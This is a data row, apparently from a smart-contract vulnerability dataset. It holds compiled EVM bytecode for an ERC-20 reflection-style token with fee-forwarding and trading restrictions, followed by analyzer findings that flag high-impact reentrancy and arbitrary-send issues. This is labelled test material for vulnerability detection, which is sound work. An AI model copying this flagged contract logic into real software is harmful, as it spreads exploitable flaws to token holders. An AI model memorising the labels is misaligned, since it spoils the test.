fffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561195d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195490613d68565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c490613c48565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611aab9190613dc8565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1f90613d48565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b98576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b8f90613be8565b60405180910390fd5b60008111611bdb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bd290613d28565b60405180910390fd5b611be3610d69565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c515750611c21610d69565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156122bb57601d60179054906101000a900460ff1615611e84573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611cd357503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611d2d5750601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d875750601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e8357601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611dcd6118e5565b73ffffffffffffffffffffffffffffffffffffffff161480611e435750601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611e2b6118e5565b73ffffffffffffffffffffffffffffffffffffffff16145b611e82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e7990613da8565b60405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611ec757601e54811115611ec657600080fd5b5b601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f6b5750601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611fc15750601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611fca57600080fd5b601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120755750601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120cb5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156120e35750601d60179054906101000a900460ff165b156121845742601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061213357600080fd5b600f426121409190613efe565b601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061218f30610bc5565b905060155481106121a05760155490505b60006014548210159050601d60159054906101000a900460ff161580156121d35750601d60169054906101000a900460ff165b80156121dc5750805b80156122365750601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156122905750601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b156122b85761229e82612801565b600047905060008111156122b6576122b547612518565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806123625750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561236c57600090505b612374610d69565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156123e257506123b2610d69565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561243c5750601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156124a157601d60169054906101000a900460ff16612490576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161248790613c68565b60405180910390fd5b61249c84848484612b1b565b6124ae565b6124ad84848484612b1b565b5b50505050565b60008383111582906124fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124f39190613bc6565b60405180910390fd5b506000838561250b9190613fdf565b9050809150509392505050565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61257d600c5461256f601154866127b790919063ffffffff16565b61273c90919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156125a8573d6000803e3d6000fd5b50601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61260e600954612600601154866127b790919063ffffffff16565b61273c90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612639573d6000803e3d6000fd5b50601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61269f600f54612691601154866127b790919063ffffffff16565b61273c90919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156126ca573d6000803e3d6000fd5b5050565b6000600654821115612715576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161270c90613c08565b60405180910390fd5b600061271f612c4b565b905061273481846127b790919063ffffffff16565b915050919050565b60008083141561274f57600090506127b1565b6000828461275d9190613f85565b905082848261276c9190613f54565b146127ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127a390613ce8565b60405180910390fd5b809150505b92915050565b60006127f983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612c76565b905092915050565b6001601d60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561285f577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405190808252806020026020018201604052801561288d5781602001602082028036833780820191505090505b50905030816000815181106128cb577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561296d57600080fd5b505afa158015612981573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906129a5919061367c565b816001815181106129df577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612a6630601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6118ed565b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612aca959493929190613de3565b600060405180830381600087803b158015612ae457600080fd5b505af1158015612af8573d6000803e3d6000fd5b50505050506000601d60156101000a81548160ff02191690831515021790555050565b600082905081612b3257612b2d612cd9565b612c2b565b601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612b9557612b90612d0a565b612c2a565b601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612c2057612bf3612d3d565b601d60189054906101000a900460ff1615612c1b576000612c148487612d70565b9050809150505b612c29565b612c28612d3d565b5b5b5b612c36858583612f22565b81612c4457612c436130ed565b5b5050505050565b6000806000612c58613120565b91509150612c6f81836127b790919063ffffffff16565b9250505090565b60008083118290612cbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cb49190613bc6565b60405180910390fd5b5060008385612ccc9190613f54565b9050809150509392505050565b6000600854148015612ced57506000601354145b15612cf757612d08565b600060088190555060006013819055505b565b600f54600e81905550600c54600b81905550600954600881905550600e54600b54612d359190613efe565b601381905550565b600a54600881905550601054600e81905550600d54600b81905550600d54601054612d689190613efe565b601381905550565b600080612d9b6064612d8d6012548761273c90919063ffffffff16565b6127b790919063ffffffff16565b9050612def81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461318290919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e8481600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131cc90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000612edc828661318290919063ffffffff16565b90506000479050612eec83612801565b600047905060008282612eff9190613fdf565b90506000811115612f1457612f138161322a565b5b839550505050505092915050565b600080600080600080612f3487613296565b955095509550955095509550612f9286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461318290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061302785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131cc90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613073816132fe565b61307d84836133bb565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516130da9190613dc8565b60405180910390a3505050505050505050565b600954600881905550600c54600b81905550600f54600e81905550600e54600b546131189190613efe565b601381905550565b600080600060065490506000683635c9adc5dea000009050613156683635c9adc5dea000006006546127b790919063ffffffff16565b82101561317557600654683635c9adc5dea0000093509350505061317e565b81819350935050505b9091565b60006131c483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506124b4565b905092915050565b60008082846131db9190613efe565b905083811015613220576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161321790613ca8565b60405180910390fd5b8091505092915050565b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015613292573d6000803e3d6000fd5b5050565b60008060008060008060008060006132b38a6008546013546133f5565b92509250925060006132c3612c4b565b905060008060006132d68e8787876134b6565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000613308612c4b565b9050600061331f828461273c90919063ffffffff16565b905061337381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131cc90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6133d08260065461318290919063ffffffff16565b6006819055506133eb816007546131cc90919063ffffffff16565b6007819055505050565b6000806000806000861161340a57600161340c565b855b9050600080861161341e576001613420565b855b9050600061344a606461343c858c61273c90919063ffffffff16565b6127b790919063ffffffff16565b905060006134746064613466858d61273c90919063ffffffff16565b6127b790919063ffffffff16565b9050600061349d8261348f858e61318290919063ffffffff16565b61318290919063ffffffff16565b9050808383975097509750505050505093509350939050565b6000806000806134cf858961273c90919063ffffffff16565b905060006134e6868961273c90919063ffffffff16565b905060006134fd878961273c90919063ffffffff16565b9050600061352682613518858761318290919063ffffffff16565b61318290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061355261354d84613e7d565b613e58565b9050808382526020820190508285602086028201111561357157600080fd5b60005b858110156135a1578161358788826135ab565b845260208401935060208301925050600181019050613574565b5050509392505050565b6000813590506135ba8161456e565b92915050565b6000815190506135cf8161456e565b92915050565b6000813590506135e481614585565b92915050565b600082601f8301126135fb57600080fd5b813561360b84826020860161353f565b91505092915050565b6000813590506136238161459c565b92915050565b6000815190506136388161459c565b92915050565b60008135905061364d816145b3565b92915050565b60006020828403121561366557600080fd5b6000613673848285016135ab565b91505092915050565b60006020828403121561368e57600080fd5b600061369c848285016135c0565b91505092915050565b6000602082840312156136b757600080fd5b60006136c5848285016135d5565b91505092915050565b600080604083850312156136e157600080fd5b60006136ef858286016135ab565b9250506020613700858286016135ab565b9150509250929050565b60008060006060848603121561371f57600080fd5b600061372d868287016135ab565b935050602061373e868287016135ab565b925050604061374f8682870161363e565b9150509250925092565b6000806040838503121561376c57600080fd5b600061377a858286016135ab565b925050602061378b8582860161363e565b9150509250929050565b6000602082840312156137a757600080fd5b600082013567ffffffffffffffff8111156137c157600080fd5b6137cd848285016135ea565b91505092915050565b6000602082840312156137e857600080fd5b60006137f684828501613614565b91505092915050565b60006020828403121561381157600080fd5b600061381f84828501613629565b91505092915050565b60006020828403121561383a57600080fd5b60006138488482850161363e565b91505092915050565b600061385d8383613869565b60208301905092915050565b61387281614013565b82525050565b61388181614013565b82525050565b600061389282613eb9565b61389c8185613edc565b93506138a783613ea9565b8060005b838110156138d85781516138bf8882613851565b97506138ca83613ecf565b9250506001810190506138ab565b5085935050505092915050565b6138ee81614037565b82525050565b6138fd8161407a565b82525050565b600061390e82613ec4565b6139188185613eed565b935061392881856020860161408c565b613931816141c6565b840191505092915050565b6000613949602383613eed565b9150613954826141d7565b604082019050919050565b600061396c602a83613eed565b915061397782614226565b604082019050919050565b600061398f602683613eed565b915061399a82614275565b604082019050919050565b60006139b2602283613eed565b91506139bd826142c4565b604082019050919050565b60006139d5600d83613eed565b91506139e082614313565b602082019050919050565b60006139f8601b83613eed565b9150613a038261433c565b602082019050919050565b6000613a1b601b83613eed565b9150613a2682614365565b602082019050919050565b6000613a3e601d83613eed565b9150613a498261438e565b602082019050919050565b6000613a61602183613eed565b9150613a6c826143b7565b604082019050919050565b6000613a84602083613eed565b9150613a8f82614406565b602082019050919050565b6000613aa7602983613eed565b9150613ab28261442f565b604082019050919050565b6000613aca602583613eed565b9150613ad58261447e565b604082019050919050565b6000613aed602483613eed565b9150613af8826144cd565b604082019050919050565b6000613b10601783613eed565b9150613b1b8261451c565b602082019050919050565b6000613b33601183613eed565b9150613b3e82614545565b602082019050919050565b613b5281614063565b82525050565b613b618161406d565b82525050565b6000602082019050613b7c6000830184613878565b92915050565b6000604082019050613b976000830185613878565b613ba46020830184613b49565b9392505050565b6000602082019050613bc060008301846138e5565b92915050565b60006020820190508181036000830152613be08184613903565b905092915050565b60006020820190508181036000830152613c018161393c565b9050919050565b60006020820190508181036000830152613c218161395f565b9050919050565b60006020820190508181036000830152613c4181613982565b9050919050565b60006020820190508181036000830152613c61816139a5565b9050919050565b60006020820190508181036000830152613c81816139c8565b9050919050565b60006020820190508181036000830152613ca1816139eb565b9050919050565b60006020820190508181036000830152613cc181613a0e565b9050919050565b60006020820190508181036000830152613ce181613a31565b9050919050565b60006020820190508181036000830152613d0181613a54565b9050919050565b60006020820190508181036000830152613d2181613a77565b9050919050565b60006020820190508181036000830152613d4181613a9a565b9050919050565b60006020820190508181036000830152613d6181613abd565b9050919050565b60006020820190508181036000830152613d8181613ae0565b9050919050565b60006020820190508181036000830152613da181613b03565b9050919050565b60006020820190508181036000830152613dc181613b26565b9050919050565b6000602082019050613ddd6000830184613b49565b92915050565b600060a082019050613df86000830188613b49565b613e0560208301876138f4565b8181036040830152613e178186613887565b9050613e266060830185613878565b613e336080830184613b49565b9695505050505050565b6000602082019050613e526000830184613b58565b92915050565b6000613e62613e73565b9050613e6e82826140bf565b919050565b6000604051905090565b600067ffffffffffffffff821115613e9857613e97614197565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613f0982614063565b9150613f1483614063565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613f4957613f48614139565b5b828201905092915050565b6000613f5f82614063565b9150613f6a83614063565b925082613f7a57613f79614168565b5b828204905092915050565b6000613f9082614063565b9150613f9b83614063565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613fd457613fd3614139565b5b828202905092915050565b6000613fea82614063565b9150613ff583614063565b92508282101561400857614007614139565b5b828203905092915050565b600061401e82614043565b9050919050565b600061403082614043565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061408582614063565b9050919050565b60005b838110156140aa57808201518184015260208101905061408f565b838111156140b9576000848401525b50505050565b6140c8826141c6565b810181811067ffffffffffffffff821117156140e7576140e6614197565b5b80604052505050565b60006140fb82614063565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561412e5761412d614139565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f537761702064697361626c656400000000000000000000000000000000000000600082015250565b7f7465616d4665652073686f756c6420626520696e2031202d2032350000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61457781614013565b811461458257600080fd5b50565b61458e81614025565b811461459957600080fd5b50565b6145a581614037565b81146145b057600080fd5b50565b6145bc81614063565b81146145c757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204aa078f03ead39b3328c920d5836137a8f838d2df369838ad26f1959d0bae40164736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,699 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.